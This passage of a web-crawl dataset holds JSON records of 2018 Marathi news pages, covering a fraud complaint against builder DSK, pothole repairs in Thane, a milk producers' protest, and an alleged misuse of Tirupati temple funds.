सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00169.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/sangli-news-crime-against-dsk-118954", "date_download": "2018-09-25T17:54:16Z", "digest": "sha1:ZFQIY5XCMCHIDWQYJ4LCE7GCGU47WTXW", "length": 13038, "nlines": 176, "source_domain": "www.esakal.com", "title": "Sangli News crime against DSK डीएसके विरोधात सांगलीत फसवणुकीचा गुन्हा | eSakal", "raw_content": "\nडीएसके विरोधात सांगलीत फसवणुकीचा गुन्हा\nगुरुवार, 24 मे 2018\nसांगली : बांधकाम व्यावसायिक डी. एस. कुलकर्णी यांच्या विरोधात सांगलीतही फसवणुकीचा गुन्हा दाखल करण्यात आला आहे. डीएसके कंपनीच्या योजनेत गुंतवलेले 8,95,000 रुपयांची ठेवीची रक्कम मुदत पुर्ण झाल्यानंतर मुद्दल आणि त्यावरील व्याज परत न देता फसवणूक केली आहे.\nसांगली : बांधकाम व्यावसायिक डी. एस. कुलकर्णी यांच्या विरोधात सांगलीतही फसवणुकीचा गुन्हा दाखल करण्यात आला आहे. डीएसके कंपनीच्या योजनेत गुंतवलेले 8,95,000 रुपयांची ठेवीची रक्कम मुदत पुर्ण झाल्यानंतर मुद्दल आणि त्यावरील व्याज परत न देता फसवणूक केली आहे.\nयाबाबत किरण अनंत कुलकर्णी यांनी शहर पोलिस ठाण्यात गुन्हा दाखल केला आहे. सांगलीतील सुमारे 30 जणांची तीन कोटींवर रकमेची फसवणूक झाल्याची माहिती आहे.\nअधिक माहिती अशी, किरण कुलकर्णी हे सेवानिवृत्त असून त्यांनी ते नागराज कॉलनीत गौरी शंकर अपार्टमेंट येथे राहतात. त्यांनी डीएसकेंच्या कंपनीत आठ लाख 95 हजार रुपये गुंतवले होते. माधवनगर रोडवरील बजाज ऍटोच्या शेजारी असलेल्या एस के कंपनीच्या ब्रॅंचमध्ये त्यांनी ही गुंतवणूक केली होती. त्याची मुदत पुर्ण झाल्यानंतर सदर रक्कम व त्यावरील व्याज परत न देता डी. एस. ग्रुप अँड कंपनीचे संचालक, भागीदार यांनी संगनमताने फसवणूक केल्याबद्दल किरण कुलकर्णी यांनी शहर पोलिस ठाण्यात तक्रार दिली आहे.\nया तक्रारीवरुन दीपक सखाराम कुलकर्णी, हेमंत दिपक कुलकर्णी, शिरीष दिपक कुलकर्णी (सर्व डीएसके हाऊस, जंगली महाराज रोड, पुणे) यांच्यावर फसवणुकीचा गुन्हा दाखल करण्यात आला आहे.\nदरम्यान, किरण कुलकर्णी यांच्यासह सांगलीतील सुमारे 30 जणांनी डीएसके कंपनीत गुंतवणूक केली होती. त्यांच्या ठेवींची एकूण रक्कम सुमारे सव्वा तीन कोटींच्या घरात आहे. याबाबत गुंतवणूकदारांनी आर्थिक गुन्हे अन्वेषण शाखेचे निरीक्षक राजेंद्र मोरे यांना गुंतवणुकीची माहिती दिली आहे. सध्या हा आकडा 30 जणांचा असला तरी सांगलीतील गुंतवणूकदारांची संख्या वाढण्याची शक्‍यता आहे.\nडीएसकेंच्या सांगली, पुणे, सातारा येथील प्रॉपर्टी सील केल्याची माहिती असून यामध्ये मिरज पंढरपूर रोडवरील डीएसकेंची एक प्रॉपर्टी सील केल्याची चर्चा आहे.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nधमकीचा निरोप खुनाचा वाटून धावाधाव\nसंगमेश्वर - खुनाचा गुन्हा दाखल असलेल्या एकाने भावाला तुझे दोन्ही पाय तोडून जंगलात टाकतो, अशी धमकी दिली. घाबरलेल्या त्याच्या पत्नीने आपल्या...\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00169.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.saamana.com/pothole-repairing-work-in-progress-in-thane/", "date_download": "2018-09-25T16:34:49Z", "digest": "sha1:ELPAUJAZGL3LUYQ5DZ5TRHPIBQFIMWVR", "length": 17263, "nlines": 259, "source_domain": "www.saamana.com", "title": "ठाण्यात खड्डे भरणी जोरात.. महापौरांसह नगरसेवक, पदाधिकारी रस्त्यावर | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nठाण्यात खड्डे भरणी जोरात.. महापौरांसह नगरसेवक, पदाधिकारी रस्त्यावर\nपाऊस थांबताच ठाणे शहरातील रस्त्यांवर पडलेले खड्डे भरण्याचे काम महानगरपालिकेने युद्धपातळीवर सुरू केले आहे. ऐन सणासुदीच्या काळात नागरिकांना त्रास होऊ नये म्हणून शिवसेना नेते व पालकमंत्री एकनाथ शिंदे यांनी दिलेल्या आदेशानुसार रस्त्यांवरील सर्व खड्डे बुजविण्याचे काम हाती घेण्यात आले आहे. महापौर मीनाक्षी शिंदे यांच्यासह नगरसेवक व पदाधिकारी रस्त्यावर उतरले असून ते या कामावर वॉच ठेवून आहेत.\nमहापौर मीनाक्षी शिंदे यांच्यासह उपमहापौर रमाकांत मढवी, स्थायी समिती सभापती राम रेपाळे, सभागृहनेते व ठाणे जिल्हाप्रमुख नरेश म्हस्के, नगरसेवक सुधीर कोकाटे आदींनी मीनाताई ठाकरे चौक, एसटी वर्कशॉप, वर्तकनगर, लोकमान्यनगर, सावरकरनगर, मानपाडा सिग्नल, तीन हातनाका, पातलीपाडा येथे कामाची पाहणी केली.\nवर्षा मॅरेथॉनपूर्वी रस्ते चकाचक होणार\n2 सप्टेंबर रोजी ठाणे महापौर वर्षा मॅरेथॉन असून त्यापूर्वी शहरातील रस्ते दुरुस्तीची कामे त्यापूर्वी पूर्ण करण्याचे आदेश महापौरांनी दिले आहेत. त्यासाठी आधुनिक तंत्रज्ञान वापरले जात असून ठाणेकरांना कोणताही त्रास होऊ नये यासाठी शिवसेनेचे पदाधिकारी व नगरसेवक स्वतः उभे राहून कामाचा आढावा घेत असल्याचे सभागृहनेते नरेश म्हस्के यांनी सांगितले.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलकुडाळ तालुक्यातील बारा ग्राम पंचायती झाल्या पेपरलेस\nपुढील11 सामन्यात 5 शतक, तरी संघात स्थान नाही, ‘या’ खेळाडूसाठी चाहते निवड समितीशी भिडले\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00169.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-decission-expand-milk-agitation-state-7724", "date_download": "2018-09-25T17:59:29Z", "digest": "sha1:B377OKZLNI4L3BEBJQ567KHHJPBO7HYU", "length": 18943, "nlines": 151, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, decission to expand Milk agitation in state | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nमोफत दूध वाटण्याचे अांदोलन राज्यव्यापी करणार\nमोफत दूध वाटण्याचे अांदोलन राज्यव्यापी करणार\nशुक्रवार, 27 एप्रिल 2018\nनगर : दर मिळत नसल्याने दूध उत्पादक कोलमडून गेला आहे. सरकारने तोटा भरून काढण्यासाठी भावांतर योजना लागू करून फरक थेट शेतकऱ्यांच्या खाती जमा करावा, अशी प्रमुख मागणी दूध उत्पादक संघर्ष समितीने सरकारकडे केली आहे. तसेच, १ मे च्या ग्रामसभेत ‘शरम बाळगा, लूट थांबवा, शरम नसेल तर दूध फुकट न्या’ असे सांगत ठराव घेऊन आंदोलनात शेतकऱ्यांनी सहभागी होण्याचे समितीने अावाहन केले आहे.\nनगर : दर मिळत नसल्याने दूध उत्पादक कोलमडून गेला आहे. सरकारने तोटा भरून काढण्यासाठी भावांतर योजना लागू करून फरक थेट शेतकऱ्यांच्या खाती जमा करावा, अशी प्रमुख मागणी दूध उत्पादक संघर्ष समितीने सरकारकडे केली आहे. तसेच, १ मे च्या ग्रामसभेत ‘शरम बाळगा, लूट थांबवा, शरम नसेल तर दूध फुकट न्या’ असे सांगत ठराव घेऊन आंदोलनात शेतकऱ्यांनी सहभागी होण्याचे समितीने अावाहन केले आहे.\nसात महिन्यांपासून दुधाला दर मिळत नाही. त्यामुळे दूध उत्पादकांनी विकण्याएवजी मोफत दूध देण्याचा निर्णय घेतला आहे. त्यासंदर्भात नगरला दूध उत्पादक संघर्ष समितीची गुरुवारी (ता. २६) बैठक झाली. त्यानंतर बैठकीत झालेल्या निर्णयाची माहिती डॉ. अजित नवले, धनंजय धोर्डे पाटील यांनी दिली. समितीचे लाखगंगा (जि. औरंगाबाद) येथील सरपंच दिगंबर तुरकणे, संतोष वाडेकर, दूध व्यवसाचे अभ्यासक गुलाबराव डेरे, कारभारी गवळी, विश्‍वनाथ वाघ यांच्यासह कार्यकर्ते उपस्थित होते.\nडॉ. नवले, धोर्डे पाटील म्हणाले, की दरवर्षी उन्हाळ्यात दुधाचे दर वाढत असतात. मात्र आतापर्यंतच्या इतिहासात पहिल्यांदा दुधाचे दर कमी झाले आहेत. दूध उत्पादक दररोज दहा रुपयांचा तोटा सहन करत आहे. सरकारचे खासगी दूध संकलन केंद्रावर नियंत्रण नाही. त्यामुळे दूध विकण्याएवजी मोफत वाटण्याचे अंदोलन सुरू केले जात आहे. ३ ते ९ मे या कालावधीत सरकारी कार्यालयासमोर बसून दूध मोफत दिले जाईल. सरकार अतिरिक्त दूध दिले जात असल्याचे सांगत असले तरी संकलीत केलेल्या एक लिटर दुधाचे तीन लिटर दूध केले जाते. त्याला सरकारी मान्यता आहे. त्यामुळे ग्राहकाला गाईचे नव्हे तर यंत्राचे दूध पुरवले जाते. त्यामुळे अतिरिक्त दुधाचे प्रश्‍न सोडायचा असेल तर मशीनचे नव्हे गाईचे निर्भेसळ, सकस व दर्जेदार दूध पुरवावे, तोटा भरून काढण्यासाठी आणि शेतकऱ्यांवरील अन्याय दूर करण्यासाठी भावांतर योजना लागू करावी, खाजगी दूध संस्था, संकलन केंद्रावर सरकारने नियंत्रण मिळवावे, अशी संघर्ष समितीची मागणी आहे. मोफत दूध वाटपाच्या अांदोलनात दूध रोखायचे नाही, कायदा हातात घ्यायचा नाही किंवा दूध फेकून घ्यायचे नाही असा निर्णय झाला असल्याचे त्यांनी सांगितले.\nतर आमचाही नाईलाज असेल\nशेतकरी संपाची ठिणगी पुणतांबा (जि. नगर) येथून पडली. त्याचा राज्यभर वनवा झाला. त्याला आता एक वर्ष होत आहे. सरकारला दुधाच्या दराबाबत सुधारणा करण्यासाठी, निर्णय घेण्याला काही दिवसांचा अवधी दिला आहे. जर त्या काळात दखल घेतली नाही तर आमचाही नाईलाज होईल, असा सूचक इशारा संघर्ष समितीने दिला. एक जूनपासून अांदोलन करणार का याबाबत मात्र नंतर घोषणा करणार असल्याचे स्पष्ट केले.\nसंघटना, नेत्यांना करणार विनंती\nदूध अांदोलनात शेतकरी संघटना, समित्यांनी सहभागी होण्यासाठी सर्व शेतकरी विनंती करणार आहोत. कर्जमाफी व अन्य बाबतीत सुकाणूसह समित्या स्थापन झाल्या. त्यांचाही या अांदोलनात सहभाग राहिले. दूध उत्पादक संघर्ष समिती राज्यभर, विशेषतः दुधाचे उत्पादन घेत असलेल्या औरंगाबाद, पुणे, सांगली, सातारा, कोल्हापूर, सोलापूर, नाशिक जिल्ह्यामध्ये दौरा करून लोकांनी, नेत्यांनी दूध अंदोलनात सहभागी व्हावे, यासाठी प्रयत्न करणार असल्याचे डॉ. नवले, धोर्डे यांनी सांगितले.\nनगर दूध सरकार government तोटा आंदोलन agitation डॉ. अजित नवले अजित नवले सरपंच वाघ यंत्र machine शेतकरी संप संप पूर सोलापूर नाशिक\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00170.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%A4%E0%A4%BF%E0%A4%B0%E0%A5%81%E0%A4%AA%E0%A4%A4%E0%A5%80-%E0%A4%AC%E0%A4%BE%E0%A4%B2%E0%A4%BE%E0%A4%9C%E0%A5%80-%E0%A4%AE%E0%A4%82%E0%A4%A6%E0%A4%BF%E0%A4%B0%E0%A4%BE%E0%A4%A4-%E0%A4%B6/", "date_download": "2018-09-25T17:30:48Z", "digest": "sha1:7WD6V4ABQ6LAESMUIHUFBZ6VKNVTBJEY", "length": 8051, "nlines": 146, "source_domain": "www.dainikprabhat.com", "title": "तिरुपती बालाजी मंदिरात शतकोटीचा घोटाळा | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nतिरुपती बालाजी मंदिरात शतकोटीचा घोटाळा\nहैदराबाद (आंध्र प्रदेश) – भारतातील सर्वात श्रीमंत देवस्थान असलेल्या तिरुपती बालाजी मंदिरात कोट्यवधी रुपयांचा घोटाळा झाल्याचे आरोप करण्यात आलेले आहेत. आणि हे आरोप मंदिराचे मुख्य पुजारी रमन्ना दीक्षितुलु यांनी केले आहेत. आंध्र प्रदेशचे मुख्यमंत्री चंद्राबाबू नायडू मंदिराच्या निधीचा दुरुपयोग करतात असे त्यांचे म्हणणे आहे. रमन्ना दीक्षितुलु यांच्या आरोपांनंतर त्यांचीच मुख्य पुजारीपदावरून हकालपट्टी करण्याता आली आहे. तिरुपती बालाजी मंदिराला मिळालेल्या देणग्या आणि ईश्‍वरचरणी अर्पण केलेले पैसे आणि वस्तू यांचा दुरुपयोग केला जातो.\nस्वत: मुख्यमंत्री मंदिराच्या प्रशासकांची नियुक्ती करत असल्याने त्यांची मनमानी चालते असे रमन्ना दीक्षितुलु यांनी सांगितले आहे. ज्या ठिकाणी वर्षानुवर्षे प्रसाद बनवण्याचे काम चालते, त्या स्वयंपाकघराची मोडतोड करून कोट्यवधी रुपयांची आभूषणे आणि जडजवाहिर गायब करण्यात आले आहे. चंद्राबाबू नायडू यांनी मंदिराची 100 कोटी रुपये राजकीय कारणांसाठी वापरल्याचाही आरोप रमन्ना दीक्षितुलु यांनी केले आहेत.\nरमन्ना दीक्षितुलु यांनी केलेल्या आरोपांनंतर आंध्र प्रदेशातील राजकारणात खळबळ माजली आहे. पैसा आणि सत्ता यांच्यासाठी चंद्राबाबू नायडू यांची असलेली हाव या साऱ्या प्रकारातून दिसून येते आहे, असे आंध्र प्रदेश विधानसभेतील विरोधी पक्षानेते जगमोहन रेड्डी यांनी म्हटले आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleअधिकारी, कर्मचाऱ्यांना वीजबिल भरल्याचे प्रमाणपत्र द्यावे लागणार\nNext articleसीबीआयने नोंदवला राबडीदेवींचा जबाब\nदेशाच्या चौकीदाराने गरीब, शहिदांचे पैसे अंबानींच्या खिशात घातले\nशरद पवारांनी खोटं बोलू नये\n5 हजार कोटी घेऊन गुजरातचा व्यापारी परदेशात फरार\nयशवंत आणि शत्रुघ्न सिन्हा आपकडून निवडणूक लढणार\nकुपोषणाशी मुकाबला करण्यासाठी ठोस यंत्रणा आहे का \nउत्तर भारतात पावसाचे थैमान; 8 जणांचा मृत्यू\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00170.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.saamana.com/thief-arrested/", "date_download": "2018-09-25T17:26:09Z", "digest": "sha1:VV6HTEUYNGOXC6FQWADSA7FXCT6MLUY4", "length": 17922, "nlines": 257, "source_domain": "www.saamana.com", "title": "१३ लाखांचे दागिने चोरणाऱ्या तिघांना बेड्या | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\n१३ लाखांचे दागिने चोरणाऱ्या तिघांना बेड्या\nठाणे–कळवा भागात तब्बल १४ घरफोड्या करून १३ लाख ८० हजार रुपयांचे 